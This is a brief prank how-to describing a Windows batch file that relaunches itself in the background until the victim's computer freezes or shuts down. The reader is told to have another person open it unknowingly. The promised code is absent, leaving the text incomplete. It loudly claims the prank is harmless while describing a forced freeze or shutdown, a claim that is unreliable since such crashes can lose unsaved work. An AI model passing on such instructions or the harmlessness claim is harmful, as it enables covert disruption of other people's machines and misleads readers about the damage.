This prank will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!
To make this open note pad and type:
The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.